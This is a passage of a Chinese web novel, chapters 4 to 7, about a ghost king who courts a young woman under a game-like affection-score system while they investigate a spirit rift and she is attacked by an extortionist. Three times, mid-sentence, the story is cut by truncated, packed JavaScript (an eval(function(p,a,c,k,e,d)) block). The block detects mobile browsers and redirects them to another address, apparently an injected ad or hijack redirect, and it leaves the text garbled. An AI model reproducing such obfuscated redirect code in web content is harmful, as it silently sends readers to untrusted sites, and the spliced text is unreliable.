萧唤月愣住,这是什么法术,瞬移?东生那样厉害的修士,赶路也需使用飞行法器,或者轻功。他却好像不需要。 她翻身下床,赤足踏在冰冷的地板上,朝前走了几步。 依稀记得,言隐刚才就是站在这个位置......再往前就该撞墙了。 她抚着下巴若有所思,良久,抬手叩了叩墙壁。 对了,听说鬼能穿墙,或许他也会这一招,没什么奇怪。 唉。她想,无论是穿墙还是瞬移,都挺好。如果她也能学到那么一两手好把戏,有了足以自保的神通,就不会再像现在这样......把一只易碎的玉佩奉作宝贝,连只小鬼都搞不定。 转念一想,东生不在身边,她固然失去了一把保护伞,却也少了个监控她的眼线。倘若她这时候偷偷上山,寻个不知名小门派拜师,也许可行? 她就不信里云宫的手能伸那么长,修仙界之大,总有她的立足之地。 萧唤月一边畅想自己的未来,一边躺回床上,侧身拉过被褥一角,盖在身上。 她脑中不断设想着未来会遇到的各种问题,到最后总绕不开一点——爹娘怎么办?他们年事已高,总不能放着萧家家业不管,陪她到处走南闯北。 可若让她扔下父母独自远行......那二老多可怜啊。等她学成归来,不知得过去多少年,让他们孤零零干等着么? 她越想越困,思绪渐渐停滞。 算了。她轻轻合上眼,心想,算了。 这事先放下,睡个回笼觉再说。 如果没有做那个噩梦,如果没有遇见言隐,今天应该是安宁且平和的一天。 赏花,吃茶,用饭,读书,练字,看话本。 一如往常。 只是,整整一天,她始终心神不宁。喝茶烫了手,吃饭拿反筷子,看话本一目十行,读到末尾都不知道讲了个什么故事。 云婉看出她的异常,状似无意道:“要跟娘出去散散心吗?” 她看了眼已经黑下来的天色,下意识摇头:“太晚了,明日吧,娘,我有些困了......” 听她这么说,云婉也没强求,只让她回房好好休息,关好窗户,不要着凉。 她低眉应是。 疾步穿过游廊,一路寂静安谧,鸟雀无声。昏暗的环境让她有些不安,幸好檐角下挂着灯笼,微弱光线勉强为她引了路。 房门就在不远处,她加快了速度,两步并做三步,往那方向赶。拐角处却闪出来一个高挑人影,躲避不及,她直直撞上了那人的胸膛。 萧唤月哎哟一声,捂着额头后退半步。 揉了揉被撞疼的额角,她不悦地抬眼,打量起眼前人。 一只骨节修长的手伸出,正要去扶她,见她已自行站稳,只好悻悻收了回去。 她看到一脸坦然的言隐,沉默了片刻。 不知为何她想起了曾经养过的一只小黑猫,它很喜欢埋伏在路边的草丛里,伺机扑出,以达到惊吓路人的目的。 摇了摇头晃走多余思绪,她轻吸一口气,勉强镇定下来,同言隐打了个招呼: “晚好。” 其实对于他的出现,她倒也没有很意外,早些时候,他的确说过晚上会来找她。 言隐摸了摸鼻子:“你怎么不在房间?我刚要出去找你。” 她抿唇:“在前厅陪娘说了会儿话。” “哦。”他从怀里掏出个东西,抛给她,“我给你带了个东西,你看看,或许有用。” 萧唤月下意识接住,随即一愣。无缘无故的,他怎么要送她东西? 她第一反应是拒 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她手上不自觉用了点力气,指尖发白,好似握着一把能打开修仙界大门的钥匙。 虽然不知道他为什么要帮她......可机会摆在眼前,她真要任之溜走么? 收了后悔一天,不收后悔一辈子! 没有纠结太久,萧唤月缓缓把手缩了回来,将书抱在身前。 随即她粲然一笑:“无功不受禄这话未免有失偏颇,要我说,恭敬不如从命。既然是送礼者一番心意,怎么好意思拒绝。” “哦哦......你想通了啊。” 言隐被她迅速转变的态度搞得有点懵,他本以为要白来一趟。萧唤月如果继续拒绝,他就要把书拿回去了。 萧唤月忙不迭道:“以后有我帮得上忙的地方,您......你尽管开口。” 听起来像在开空头支票,不过这话可是真心的。 “不必。说起来那些小鬼们烦扰了你那么久,让你憔悴,我也有责任。我是它们的顶头上司嘛,这本书,算作补偿。” 萧唤月心中欢呼雀跃,表面却不显,只小幅度地勾起唇角,眼睛一弯:“那多谢你啦,我会好好看这本书的。” 系统播报:【检测到攻略对象好感值波动,现好感度数值:7】 嚯。言隐大喜,在心里给自己鼓了把气:可以啊,数值倍增,未来可期! 他轻咳一声:“嗯,要认真看哦。你是很好的修仙苗子,别浪费天赋。” 萧唤月心中一动。 她想起东生说她根骨一般,没有仙缘,现如今言隐口中却说出完全相反的见解,她不确定他是不是在说客套话。 仿佛看透了她的未言之意,言隐歪头:“我认真的。” 她在他直接而诚恳的目光中有些无所适从,心想言隐的确不像是会说客套话的人。 对了,东生是里云宫的人。她有些阴暗地猜测,说不定是为了刻意打压她修仙的积极性,东生才这样说。免得她痴心妄想欲走仙途,要回去同那位白家少主争一争荣光。 萧唤月心中的秤杆慢慢倾斜,滑向言隐这边。 她眨了眨眼,轻笑一声:“好吧。都说笨鸟先飞,我是反其道而行之,聪明鸟后飞。” 说完意识到这话颇有自夸嫌疑,人家说点好话,她怎么就抓杆子往上爬了呢。 她有点不好意思,心想,应该谦虚点才是...... 然而言隐没觉得她说的话有什么不合适,只执着于证明,自己说她有天赋真的不是在瞎说: “别看我现在是鬼,活着的时候,我也当过修士,对于资质评鉴这方面我还是有话语权的。” 5. 第 5 章 萧唤月有些惊讶。 她隐隐感觉这话题颇有不妥——活着的时候? 万万没想到,言隐曾经居然做过修士,似乎还做到了不低的水平......听起来很有故事,可惜她不便细问。那般久远的回忆,于言隐而言是秘辛吧,她能听么? 果不其然,言隐面上一滞,似乎后悔提起这事。他有些生硬地转移话题: “除了回去取书,我还调查了一件事。” “什么?” 言隐看了眼萧唤月,她好像并没注意到他方才的失言。 于是他清了清嗓子,开始说起此行的另一个目的: “城中游荡着不少幽魂怨鬼,我猜附近可能有阴阳裂隙存在,想试着去找找看。果然,在城郊近山处,我找到了一口井。” 从外表上看来,那就是一口普通枯井。 幸好言隐眼尖,对阴气又极度敏感。直觉这井不对劲,自然不会放过任何一处异常。 他注意到周围野草长势有些奇怪,同样的土壤,有些地方草盛,有些地方却草疏。他这人有时候很固执,一旦较真起来,为找线索能把地皮给掀了。 很快他就发现,那些草木较为稀疏之地,连接起来,竟然像是某种阵法符号。 “幕后之人很谨慎。”言隐得意于自己非凡的观察力,“可惜雁过有声,踏雪留痕,饶是他善后工作周全,也没料到会在几棵草上翻了跟头。” 那阵法邪性。反是被印刻过阵符的土壤,仿若都被汲取了生命力,再难恢复从前了。 言隐还看出这地方很可能被施过障眼法,但只覆盖了井周,没法含括这么大一片草地。 能力不足又要干坏事,总会留下破绽的。 于是言隐在那里多留了两个时辰,太阳落山之后果然又有新发现。 “我逮住了一只趁着夜色想要偷溜出来的小鬼。”他对萧唤月道,“可见枯井果然大有问题,幕后黑手正是通过那道阵法,在井中撕开了一道阴阳裂隙。不出意料的话,他在井边施过障眼法后,又敛去了周围的鬼气,试图掩盖裂隙的存在。” “幕后之人为什么要这样做?”萧唤月有些不安,“那裂隙不知道在那里存在多久了......” 她正为这事忧心,忽然斜眼瞥到远处一抹手提灯笼的光亮。有零碎的脚步声响起,应该是府中负责守夜的护院巡视至此。 她赶忙拉着言隐要躲进房里。刚才听他讲事情入了迷,两人竟然就这么在游廊上站了半天,幸好没被巡夜的护院发现,不然萧唤月还得费心解释。 慌忙之下她动作有些粗暴,抓着言隐的手腕就往里走,因为险些抓脱,大拇指无意间还在他虎口处摩挲了两把。 骨子里她依然是个现代人,这种程度的亲密行为于她而言根本不算什么,况且事急从权,拉住他的时候她心里没有半分旖旎。一进门,她就立刻松了手,轻轻关上房门,后怕地呼出一口气。 言隐却不大舒服,心中默念了三遍“这是任务对象任务对象任务对象”,才总算忍着没有把手抽出来。他倒也没顾忌什么男女大防,事实上男人女人在他眼里区别不大,他纯粹是不喜欢跟人肌肤相贴。 他生出了一些不合时宜的念头,心中忧虑道,如果以后攻略对象好感值变高,到了某个更加亲密的程度,她要睡他该怎么办? 思索一番后,他很快又释然了。 真到那时候,使个幻术,唬她一唬不就成了?车到山前必有路,没必要在这种小事上烦恼。 萧唤月点上灯,在房中踱步,若有所思道:“我本以为自己常受噩梦侵扰仅是因为体质原因,现在看来,那口井也功不可没。可我在这里生活多年,坊间少有闹鬼的传闻,难道这些鬼出来什么也没干,只跑来找我,就为了吸食那点儿灵力?” 过了会儿,言隐声音闷闷的:“我也觉得蹊跷。” “是吧,这肯定不是针对我的,我估计也就是个顺带的受害者。”她嘟囔,“我又没结过什么仇家......唉,但也说不好,万一呢。” 这事不搞清楚,她没法真正安心。 啃着指甲想了半天,她心一横:“要不咱俩晚上去探探?事关鬼界,你应该也想找出幕后黑手。” 闻言言隐来了精神:“怎么探?” 正愁不知该如何继续赖在她身边,这下可好,一起查案,名正言顺。况且他确实也有点好奇是谁撕开了阴阳裂隙。 他在鬼界偶尔也会经手公务,十有八九都是在处理有关阴阳裂隙的事。这玩意儿跟打地鼠一样扑都扑不完,这边堵上了,那边又冒出来。鬼王这名号听起来响亮,但于他而言,除了刚开始有新鲜感,到了后来也就那样,极度无聊。他感觉自己像是个做苦力的,还没工资拿。 给他无故增加工作量的家伙......言隐碾着后槽牙想,至少要送那人去锅里泡几天澡。 萧唤月环顾四周,放低了声音:“我是看不见灵体的,你应该可以。现在,我们周围有鬼吗?” “没有,你回来之前,我清理过了。” “好。”萧唤月点头,“有个想法,我们可以将计就计,不阻拦它们的行动,而是悄悄追循小鬼们的行动踪迹,试着找出它们真正的目标所在。这个时候,它们差不多正好开始活泛了。” “......”言隐眼神有些飘忽,“这,也许,不太可行。” “是的,如果它们共享过情报,知道你来了,那么为了不引起你的注意,可能会暂时停止行动。”萧唤月眼中闪过一丝狡黠,“但也有一种可能……它们只是在不知情的情况下成为了幕后黑手的工具,那样的话,它们必然不是有纪律性地去干这件事,而是独来独往各自为营,我们也许可以钻个空子......” 赌的就是它们没有团队精神,没有将“鬼王莅临此地视察工作”的重要通知广而告之! 言隐有些错愕:“不不,我说不可行,不是你想的那个意思。” “嗯?” “走前我顺手把那裂隙填平了,它们出不来了......” 萧唤月沉默片刻,“也不是没有其他着手点,你不是抓住了一个小鬼?审它了么。” “审是审了,可它只会说求饶的话。我让它交代幕后黑手,它一脸茫然,什么也不知道的样子。要我把它带过来吗?现在它应该在冰山地狱领罚。” “不用了。”萧唤月叹气。“你审不出来的话,我应该也不行。” “那我再去把裂缝打开?” “这也许是个办法,但有打草惊蛇的风险。” 然而萧唤月转念一想,言隐行事高调,说不定早就被幕后之人发现了? 看她不说话,言隐凑过来:“我不是故意的。” 与此同时他在心里呼唤系统:“她好感值多少了,降了没?” 系统:【未检测到攻略对象好感值波动。】 哦,那就行。 他放心了。 萧唤月看他这副心虚的样子,感到有些莫名,又有点好笑。 两人一对视上,她率先移开目光,面无表情,唇边却不自觉溢出低低的一声闷笑。 “你笑了。”言隐直接问,“为什么?” 他离得很近,看清了她嘴角那抹转瞬即逝的促狭之意。 是在取笑他么。 还偷偷的。 萧唤月愕然抬头:“我笑了吗。” “嗯。” 这下轮到萧唤月心虚局促了。她尴尬地四处张望,脑子飞转,试图组织出合适的措辞。 在他面前她终究不敢太过放肆,总不能说我刚才觉得你的样子有点好笑吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206655|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 系统:【检测到攻略对象好感值波动,现好感度数值:6】 言隐:“......” 你*的,为什么。 “我没有别的意思。”他试图补救,“想笑就笑,挺好的。笑一笑,十年少......” 警惕地观察着他的神色,萧唤月判断,这话应该不是在阴阳怪气。像是察觉到她的为难,出口替她解围似的。 这也很怪,既然他是鬼王,为何处处顾忌她这个手无缚鸡之力的凡人? 姑且当他是个不拿乔没架子的好领导吧......可对待手下的小鬼,他又似乎挺有威慑力的,说罚就罚一点不手软。 难道因为她是阳间活人,与他有着本质性区别,所以被当作外宾对待了? 她始终对他存有些许畏惧,心中胡思乱想着,暗悔自己行为出格。 那边言隐正在询问系统:“怎么样,好感值涨回来了吗?涨回来了吧!” 系统:【未检测到攻略对象好感值波动。】 “还是6?” 系统:【是的。】 这个冷酷无情的女人...... 言隐不高兴,情绪隐藏不了一点,脸拉得老长。但又怕萧唤月看见,只好微微偏过头去。烛火摇曳的光打在他下颌,一晃一晃的。 没办法,好感值再降就没得降了。他尽力伪装出友好无害的声线: “咱们还查吗?” “事已至此,静观其变吧。”萧唤月咬唇,“仔细想想,我之前的计划也很有漏洞。” 之前她都忘了——有钦天监在呢,也许轮不到她出这个头。 虽说钦天监号称只管大事不管小事,平日里都待在穆心山上记录星象,推演天数。但监正一年至少也会下山一次,回宫述职。 若事情大到能影响皇城安危,钦天监自是不会坐视不管。 钦天监在穆心山脚处设有一座民生亭,若百姓遇到什么奇闻异事,可上报此处。事大事小,自有专人判断。 其效果约等于校长信箱,大多数人都当这亭子是个摆设。 “最近米饭煮不熟,织布总断线,官老爷,我家是不是闹脏东西了?” “府中三姨太总喜欢在夜里吃东西,嘴巴常年红得像吃了小孩,大人您看,她是不是被妖怪附体了,或者本就是妖怪变的?” “我家孩子过完十二岁生辰之后越来越笨,做什么都稀里糊涂的,字也认不全,是不是被什么给缠上了?我家小孩本来很聪明的。” ——这类消息,约莫占了上报总类的百分之九十九,回复率为0。 因为鲜少能收到回复,久而久之,大家也就不再上报这些事了。 萧唤月此刻正饶有兴致地同言隐说着这些见闻,丝毫没发觉鬓边的珠钗松了,晃晃悠悠,要掉不掉地埋在乌发之间,像只展翅欲飞的蝶。 言隐注意力被晃荡的珠光吸引住,手指动了动,很想帮她拨弄拨弄。 “关于钦天监,我也就知道这么多。”萧唤月浑然不觉珠钗将落,仍在专心致志地同他谈论正事,“告诉你这些,是觉得,如果你想找人帮忙的话,他们或许能提供一些助力。” 言外之意是,即便言隐本事大,在人间也有力所不能及的地方。而钦天监在人间驻守已久,势力范围广,消息也足够灵通。 每个国家都有类似的机构存在,除了占观星象推演天数外,它还是世俗界与修仙界之间的连接枢纽,既不在人间法律的管辖范围内,也不完全被修仙界法则束缚。 钦天监在名义上归属于本国皇帝,但实际上是相对独立的机构,只与皇帝本人对话。它既作为两界之间的沟通桥梁,又反过来平衡两界。 “钦天监啊。”言隐有些出神,目光凝住,呈回忆状。他声音淡淡的,“我听说过。” 6. 第 6 章 “听说上一任监正,是个冷面道人。无心无情,赛过人间帝王,天上神仙。”言隐说起这些时,显得煞有其事,“那时候,有个男子家中闹了邪,一家五口先后上了吊,就剩他和他五岁的孩子活着。那人铤而走险,趁监正下山述职,挤上了官道,拦在监正马前,求她救救他的儿子。然而监正对他的呼喊声充耳不闻,停也没停,高头大马碾过去,踩断了他一条腿。” 萧唤月骇然,半信半疑的;“上任监正,是谁?” “不知道,很久远的事了。那人被踩断腿的场面,经由坊间众人口口相传,兴许有添油加醋的成分。” 她忧心道:“不知这任监正为人如何,听闻只是性情冷淡了些,不至于当街踩断人腿。” “要去穆心山上看看吗?”言隐直言,“我也不知道钦天监现在是个什么状况,或许他们并不值得信任。” “不必了吧。”她提出另一个方案,“这样如何?我按流程走,去民生亭递信,隐去你的存在不谈,随便扯个理由,就说家里请的术士发现城郊外有阴阳裂隙的存在。他们若判定此事重大,要亲自接手,你就不用出面了,隐在幕后打探消息就行。” “如果他们不接手呢?” “那你可以直接亮明身份。作为鬼界来宾,同他们接洽相关事宜,他们应当不会拒绝?”萧唤月定定看着他,“决定权在你。” 言隐有些头痛,觉得今天的智力活动已经非常足够,即便要重拾灵活的脑瓜蛋,也得循序渐进不是。他懒得再深入思考,干脆顺着她的话道: “听你的。” 这事敲定后,他正要穿墙离开,又被萧唤月叫住: “言隐,如果有消息的话,我该怎么联系你呢?” 哦,差点忘了。他停住脚步略一沉思,心知还得继续和她接触下去,不然怎么刷好感度?萧唤月主动询要联系方式,正合他意。 “这样好了,我每天都来找你打探消息。”他大手一挥,顿了顿,又改口道,“我有空就来找你。” “好。但是,没有传音符之类的东西吗?总要你来来回回地跑路,似乎有点......” “没有。”他板着脸,一本正经,“我身上没有那种东西。” “......好。” 他的声线清亮亮的:“下次见,萧唤月。” 言隐道了别,利索地消失在她视野中,室内重归寂静。 萧唤月有些不安,心里又隐隐感到兴奋。在兴奋什么?她自己也说不清楚。只知道凡庸平淡的十六年过去了,她的生活终于荡起涟漪,这个世界向她展示出了光怪陆离的另一面,危险,却诱人。 她心绪不宁地垂下眼睫。 对了,他走之前好像叫了她的名字。 她蹙眉,迷迷糊糊地开始回忆,自己有向他做过自我介绍吗? 今天太混乱了,她想,或许她说过的,只是忘了。 啪的一声,珠钗滑落,掉在地板上。落针可闻的房间内,这声音显得格外刺耳。 她如梦初醒,一撩裙子,蹲下身捡起珠钗,擦了擦灰,将它稳稳当当重新插回了鬓间。随后拉开椅子,正襟危坐,提笔。 该给监正写信了。 * 入了秋,天气难得暖和了一回。花枝颤巍巍的,吐出一点夏日未尽的残香。 趁着日头正盛,萧唤月搬了躺椅到树荫下,刚想要小睡片刻,就、却听见外头隐约传来叫喊声,似乎是一男一女在吵架。 起初她没想管,但他们吵得越发厉害,声音大起来,她想不听到都不行。 她惬意地闭着眼,权当那是哄她入睡的背景乐,声调抑扬顿挫,高低错落......可凝神细听,那道女声有些耳熟。 柔婉的少女声线,此时撕扯得破了音,这才让萧唤月没能立马听出来——这是府中那位粗使丫鬟,雪眉的声音。 萧唤月越听越不对劲,睁眼起身,掀开堆在膝头上的小毯子,噌一下站起来就往外跑。 谁啊,欺负人敢欺负到她家门口来了? 甩着袖子来到府门口,循声望去,雪梅正在和一个干瘦男人拉扯,脸上满是愤怒之色。 男人担着一桶水,提了一捆柴。但在与雪梅拉扯的时候,水洒出去不少,把雪梅的裙面浸得一片狼藉。 萧唤月感觉这男人有些面熟,但来不及细想。见男人情绪激动,她急忙喊了句“住手”,走过去挡在二人中间,虚握着拳,指骨轻轻抵在男人肩头,示意他冷静些。 “怎么回事?”她回头问雪梅。 “小姐!”雪梅呼吸急促,眼底有泪花,显然也是情绪上了头,“这人不请自来,一进门管我要什么‘财水钱’,我不肯给,让他离开,他就骂我眼短,财来了都不知道接,非要让我把夫人叫出来。” 云婉和萧吟山今日出门,到城西采买东西,带了个护院做保镖。不巧,府里另一个护院今儿也告了假,人手空缺。雪梅哪里守得住门,嘴皮子又说不过人家,急得要哭。 萧唤月听懂了前因后果,总算想起来这担柴的男人是谁。 每年二月初二,就有像他这般担着柴水的人走街串巷,进了门,说声“接财水”,就能向主家讨两个钱,取个吉利。 这干瘦男人连续几年都向萧家讨要过柴水钱,吃到了不少甜头。云婉平日里节俭,但于此事上却出手阔绰,坚信这样做能让家里来年多多进财。 干瘦男人看见萧唤月,目光一亮,拱手叫了声小姐好。 “这蠢丫头不识利害,我与她说不清楚。”他指了指雪梅,“这可是能让府上进财的好机会。” 萧唤月声音冷冷的:“现在不是二月初二。” “谁规定只能二月初二了?”男人嘿嘿一笑,“心诚则灵,管它什么日子......” 雪梅愤怒:“你!” 男人瞪过去:“有你说话的份了?贱籍女子,边儿去。” “难道就有你说话的份?”萧唤月皱眉,“乞丐要钱还知道磕两个响头,你这算什么,欺负完我家里的人,还想捞我家的油水?” 男人脸色倏然一变:“你把我比作乞丐?” “不如乞丐。” “小姐真是......”他眯起眼睛,怨毒神色不掩,“好心当成驴肝肺啊。” 萧唤月扭头在雪梅耳边低语:“我来应付这里,你去叫人。” “我懂我懂,小姐等我!”雪梅提起裙子就跑,两条腿捯饬得飞快。 男人退至门槛边缘,目光却紧紧粘着雪梅的后背。 他语气不善:“那贱丫头去叫人了?” 萧唤月挡住他望向雪梅的视线:“嘴巴放干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206656|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。” “得,小姐耳朵金贵,听不得粗话,是吧?” “你现在离开还来得及,以后别再来我家。” “小姐,我又没有坏心,怎么这样防备我。”男人把注意力转移到萧唤月身上,“你也跟那臭丫头一样目光短浅吗。” 萧唤月没接茬。 这几天她有按照那本书上所记载的内功心法,认真练习。由于为时尚短,还看不出什么显著成果,但她能感觉到走路时明显“轻松”了许多,体内充盈的清气让她有种踩在云上的错觉。 能打过他吗?她丈量着面前男人的体格,心中有点自信,但不多。 毕竟只是学到点儿心法皮毛,没有正儿八经受过格斗方面的练习,纯拼力气的话不确定能不能行,那就攻他要穴...... 男人一只脚踏在门外,嘴里仍自顾自说着话。他没能得到回应,因为眼前的少女正垂眸思考着什么,目光时上时下,全然忽视了他这个正喋喋不休的大活人。 这比直接骂他更令他恼火。 他在对她说话,她却当听不见! 男人邪火一冒,嘴里立刻不干不净起来:“呵呵,萧家捡了个女儿当珍珠宝贝一样护着,要我说属实没必要。再怎么护也是别人的种。漂亮的毒蛇捂不热,大了就不认主!何必费那个劲......” 恶毒的话一股脑往外倒,他就是看不得她这副气定神闲的样子,平平静静站在那里,拿他当空气! 萧唤月眸光一动,飘也似的来到他身前。男人被她突然的贴近吓得一惊,倒吸了口气,半句话哽在后头。 随即又得逞似的笑了:“小姐是生气了?都是人尽皆知的事,我还没说上两句……” 萧唤月扯住他的领子往里一拉,关大门,拉门闩,一气呵成。 男人见她如此举动,气焰弱了些,嘴上还硬着:“想以多欺少,你们府里有几个男丁啊?” 萧唤月不吭声,目光却在他腹部游曳,为免打错地方,心中此时还默念着知识点:脐中上六寸,巨阙穴…… 她并指攻向那处,没用上十成十的力道,意在给他个教训。 骂骂咧咧的男人忽地噤声了,他顷刻间汗如雨下,头昏眼花,几乎站立不住,摇摇晃晃倒在树干上,干呕了两声,看起来极其痛苦。 萧唤月愣在原地看了一会儿,觉得他这状态应该不是装的。没想到随手一击,威力竟然比她想象中大得多,他都要开始吐血了! 她有些慌了,走过去在他后背大肋骨根部重重拍了两下,这样好像能缓解来着…… 效果立竿见影,男人登时有力气翻白眼了,对她厉声道:“你刚才干什么了!” 她面不改色:“我能干什么,我就轻轻拍了你一下!谁让你嘴里不干净,活该。” 男人后怕地喘着粗气,刚才一瞬间他几乎痛得失去了意识,浑身无力,好像马上就要死去一般。 是凑巧吗,这丫头攻击到了他最脆弱的地方?他摸着自己的肚子,被打中的那块儿还有点抽抽。 此时,雪眉终于领着人来了。两个粗使丫鬟小炮着跟在她身后,一个拿着木棍一个拿着火钳。走在最前面的是个厨子,手中拎着一瓢烫水,肥硕的身体好似一堵墙,将身后的姑娘们挡了个严实。 厨子大喊:“小姐,我们来了!” 7. 第 7 章 胖厨子将萧唤月护到身后:“小姐别怕。” 干瘦男人往地上啐了一口:“死胖子,你眼睛瞎啊?是你家小姐仗势欺人,她刚才差点打死我!” 胖子捧着那瓢滚烫的开水,架势像端了把机关枪:“你胡说什么,你浑身上下毛都没少一根,就来讹我家小姐?纤纤瘦瘦的姑娘家,怎么就要打死你了?说谎话也不打个腹稿,笑死人。” “你看!”男人掰开下嘴唇,露出一排参差不齐的黄牙,“我都差点吐血了,嘴里还有血丝儿呢。” 厨子嫌恶道:“滚,滚,走开点,刷刷牙再来同我说话。” “你们这群……”男人找不到合适的形容词了,转向萧唤月,目光恨恨的,“蛇蝎心肠的女人,装无辜倒是很在手。” 萧唤月高深莫测地一笑,气势很足地反驳道:“危言耸听!” 男人:“别嚣张,我有兄弟在衙门当差,信不信我报官抓你,现在你就得挨板子。” “我还告你勒索呢。”萧唤月顶回去,“口口声声说我打你,有目击者吗?明明是你自己摔倒,我去树下扶你一把而已。” “……” 男人全然忘了自己是先惹事的那一个,只觉得面前这俏生生的少女可恶至极,像兔子似的跳来晃去,捉弄于他,他却拿她毫无办法。 他心中怒意盎然,恨不得一把掐住她纤细的脖子,让这张净会颠倒是非的嘴,再也不能说话。 喘着粗气,他咬牙骂她:“贱种。” 俩字一落地,厨子怔了一瞬,随即大怒,满满一瓢水泼出去,烫得他杀猪似的叫唤起来。 “敢骂小姐,打他!” “打他!” “打他!” 几个粗使丫鬟拿着各自的武器,趁乱凑上去,一人给他来了两下。不敢真闹出人命,大家都很有默契地打在屁股上,那里肉多,禁打。 在这极其混乱的场面里,男人红了眼,半躺在地,感到屈辱至极。 随即寒光一闪,萧唤月看到男人从之前带来的那捆柴堆里抽出一把短弯刀。 “停,停!”她反应快,赶忙把厨子和丫鬟都往后推,远离那不长眼的刀刃。 男人一击挥了个空,目露怨毒。随即他扫视一圈,猛然朝着萧唤月的方向冲过来,手中刀尖对准了她。 咔嚓一声,紧闭不开的府门忽然被人暴力打开,坚硬的门栓此刻像嫩豆腐似的断作两截,滚落在地。 男人并没关注那边传来的动静。 因为他正握着刀柄向前冲刺,浑身因兴奋而颤抖,所有注意力都集中在萧唤月身上。 理智近无的状况下他依然清楚,面前的女孩如果死了,自己绝对无法全身而退。可即便如此他也没准备让萧唤月好过,至少要让她吃点教训。 是要削掉她几根手指,还是让她那张脸上多一道无法愈合的伤疤? 脑中恶毒的念头尚未来得及落实,他却感到手指一凉,弯刀从手中滑落。 那只握刀的手不完整了,无名指和小指被一道无形剑气所斩,断面血流如注。同时他在奔跑中被弯刀脱手时的惯性所累,连带着整个身子都失去了平衡,狼狈地摔倒在地,骨头发出悲鸣。 而萧唤月敏捷地往后一跳,像躲开一只臭虫那样,躲开他倒下时溅出的血迹。 她心中疑惑着,缓缓转头,望向已经大打开的府门,想知道是谁出手相助。 只见府门口站着一个身量出奇高大的女人,正将一柄袖珍短剑收入袖中。显然,刚才那道剑气就是她所挥出。 半片式青铜面具遮住了女人半张脸,只露出鹰一样的下三白眼。一道狰狞伤疤从额际蜿蜒至鼻梁,形似蜈蚣。 女人向萧唤月走近。萧唤月这才发现,女人穿的那领黑长斗篷,上面竟然绣了青面兽纹——在萧唤月看来,这几乎等同于身份标识了。 穆心山下插着一面大旗,旗上就有同样式的兽纹。 萧唤月去过民生亭,自然也见过那面大旗。她心思缜密,只一眼便记住了那兽纹图案。 钦天监的图腾。 “萧小姐,幸会。”女人声线平平,“在下花梁燕。”说到这儿时她压低了声音,在萧唤月耳边补充道:“钦天监监正。” 萧唤月一惊。 监正本人来了? 这任监正着实低调,每次下山述职都是秘密回宫,不肯走官道,搞得百姓们没有热闹可看。也正因如此,萧唤月从来没有见到过监正长什么样,没想到是个挺......气度不凡的姑娘? 花梁燕身后背着把重剑,这才是她真正的武器。如果刚才是用这把剑挥出剑气,那个肉体凡胎的干瘦男人会当场毙命。 “多谢相助,原来是......大人。”萧唤月想到自己寄出的那封信,猜出了花梁燕的来意。 萧唤月有心要换个地方说话,可眼前这一地狼藉还没收拾干净。于是她指着躺在地上的男人,侧头对厨子道:“把那人......” 她想说把他打发出去,塞点医药费意思意思就行了。瞧他这副被吓破胆的模样,料也不敢再回来惹事。 没想到男人被她这一指,汗毛都差点竖起来。他以为萧唤月是要杀人灭口,一时顾不上疼痛,整个人跟弹簧似的蹦起来,就要往外跑: “饶命饶命!今天的事就当没发生过,小姐饶我一命!” 他怵极了那背重剑的女人,她会邪术,隔那么老远都能打到他,一出手就斩断他两根手指,他完全没机会反抗! 最初那股拿刀乱砍的冲动劲儿一过去,胆气也跟着一泻千里。男人直觉惹到了不该惹的人,再顾不上其它,只想尽快逃出此地,越远越好。 萧唤月看着他狼狈逃窜的背影:......行,省钱了。 她叹口气,对下人们道:“没事了,大家回去吧,今天辛苦,都歇一歇。” 雪眉抹着眼泪真心实意道:“我没有辛苦,要不是小姐帮忙,我今日真不知该怎么办才好。若小姐为此受了伤,我……” 萧唤月不太擅长应付这种场面,只笑了笑,示意她宽心。“以后府上多请个护院就是,同样的事不会再发生第二次了。” 说完,萧唤月眼珠一转,目光停在花梁燕身上。 她猜测这位监正或许不想在无关人员面前暴露身份。 于是她吸了一口气,语速极快道:“对了,这位是我新结交的朋友,我要出去与她吃盏茶。大家不必忧心我,都散了吧。” 雪眉率先响应:“听小姐的!” 但她心里有着与其他人一样的疑惑——小姐何时结交了这样一位武功高强的朋友? 萧唤月与花梁燕一同往外走。她想起了什么,又扭过头来对众人道: “还有,今天的事别告诉老爷和夫人,我不想他们担心。” 萧唤月几乎是一路小跑,才追上花梁燕的步子:“您看到我的信了?” “嗯,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206657|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事比你想象中要严重,受害者也不止你一个。” 吃茶只是萧唤月编出来应付府里人的借口,实际情况是眼下她们并没功夫去吃茶,花梁燕走得很快,显然有着明确的目的地,萧唤月只能一头雾水地跟在她身后。 不知是不是因为练了那本内功心法的缘故,这么一路跑下来,萧唤月竟然一点儿也没累,仍觉得体轻气盈,连呼吸都没乱。 倒引得花梁燕多看了她一眼。 